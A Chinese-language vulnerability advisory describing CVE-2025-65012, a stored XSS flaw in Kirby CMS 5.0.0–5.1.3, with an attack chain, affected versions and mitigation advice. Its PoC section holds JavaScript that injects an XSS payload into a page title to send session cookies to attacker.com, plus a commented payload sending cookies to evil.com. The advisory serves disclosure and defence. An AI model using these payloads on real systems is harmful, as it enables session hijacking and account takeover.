IPBUF安全漏洞报告
English
CVE-2025-65012 CVSS 5.4 中危

CVE-2025-65012 Kirby CMS 存储型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-65012
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Kirby CMS

相关标签

存储型XSS跨站脚本Kirby CMS内容管理系统CVE-2025-65012会话劫持Web安全漏洞认证绕过

漏洞概述

CVE-2025-65012是Kirby内容管理系统中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响Kirby 5.0.0至5.1.3版本。攻击者利用此漏洞可以修改任意页面的标题或用户名,将其替换为包含恶意JavaScript代码的字符串。随后,攻击者可以修改同一模型的内容字段但不保存,使其成为"Changes"对话框的候选显示项。当其他已认证的Panel用户打开该对话框时,恶意代码将在其浏览器上下文中执行,从而窃取会话Cookie、劫持用户会话或执行其他恶意操作。此漏洞的利用需要用户交互,无法自动化攻击,且攻击者必须具备Kirby Panel的认证用户身份或能够更新页面标题/用户名的外部访问权限。漏洞已在版本5.1.4中得到修复。

技术细节

该漏洞的根本原因在于Kirby CMS对用户输入的页面标题和用户名缺乏充分的输入验证和输出编码。在Kirby 5.0.0至5.1.3版本中,系统允许用户设置包含HTML/JavaScript代码的标题字段,且这些恶意内容在存储时未被正确清理。攻击流程如下:首先,攻击者(需为认证用户)将目标页面的标题修改为包含恶意脚本的字符串,如<img src=x onerror=alert(document.cookie)>。然后,攻击者修改同一页面的任意内容字段但不保存更改,此时该页面会被添加到"Changes"对话框的待处理列表中。当其他Panel用户打开"Changes"对话框查看待处理更改时,恶意代码会在该用户的浏览器上下文中执行。由于Panel通常具有较高的权限,攻击成功可能导致敏感信息泄露、账户接管或进一步的系统渗透。修复版本5.1.4增加了对用户输入的严格验证和HTML转义处理。

攻击链分析

STEP 1
步骤1
侦察与权限获取:攻击者获取Kirby Panel的认证用户账户,可以是内部低权限用户或通过注册获得的外部访问权限
STEP 2
步骤2
注入恶意代码:攻击者将目标页面标题或用户名修改为包含恶意JavaScript代码的字符串,如<img src=x onerror=...>或<script>标签
STEP 3
步骤3
触发Changes候选:攻击者修改同一模型(如页面或用户)的任意内容字段但不保存,使该模型成为"Changes"对话框的待处理项
STEP 4
步骤4
诱导受害者:攻击者等待或诱使具有更高权限的Panel用户(如管理员)登录并打开"Changes"对话框
STEP 5
步骤5
XSS执行:受害者打开对话框时,恶意代码在其浏览器上下文中自动执行,窃取Cookie或执行其他恶意操作
STEP 6
步骤6
会话劫持:攻击者利用窃取的会话凭证进行后续攻击,如数据窃取、权限提升或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65012 PoC - Stored XSS in Kirby CMS // Attack requires authenticated Panel user access // Step 1: Set malicious page title via API const setMaliciousTitle = async () => { const titlePayload = '<img src=x onerror=fetch(`https://attacker.com/steal?c=\`+document.cookie+\``)>'; const response = await fetch('/api/pages/your-page-id', { method: 'PATCH', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <attacker_token>' }, body: JSON.stringify({ title: titlePayload, content: { // Any field modification (not saved) text: 'temp modification' } }) }); return response.json(); }; // Step 2: Trigger changes dialog for victim (requires victim interaction) // When victim opens Panel's Changes dialog, XSS executes automatically // Alternative: Direct title modification via Panel UI // 1. Navigate to target page in Kirby Panel // 2. Edit page title to: <script>fetch('https://evil.com?c='+document.cookie)</script> // 3. Make any content change without saving // 4. Wait for admin to open Changes dialog

影响范围

Kirby CMS 5.0.0
Kirby CMS 5.0.1
Kirby CMS 5.0.2
Kirby CMS 5.0.3
Kirby CMS 5.1.0
Kirby CMS 5.1.1
Kirby CMS 5.1.2
Kirby CMS 5.1.3

防御指南

临时缓解措施
立即升级Kirby CMS至5.1.4或更高版本。如果暂时无法升级,可采取以下临时措施:1) 审查并限制所有Panel用户的权限,确保只有可信用户具有页面/用户修改权限;2) 禁用或限制外部访客的注册和内容提交功能;3) 实施严格的输入验证规则,拒绝包含HTML标签或特殊字符的页面标题和用户名;4) 配置严格的Content-Security-Policy响应头;5) 监控审计日志,关注异常的页面修改行为;6) 考虑临时禁用"Changes"对话框功能直到补丁应用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表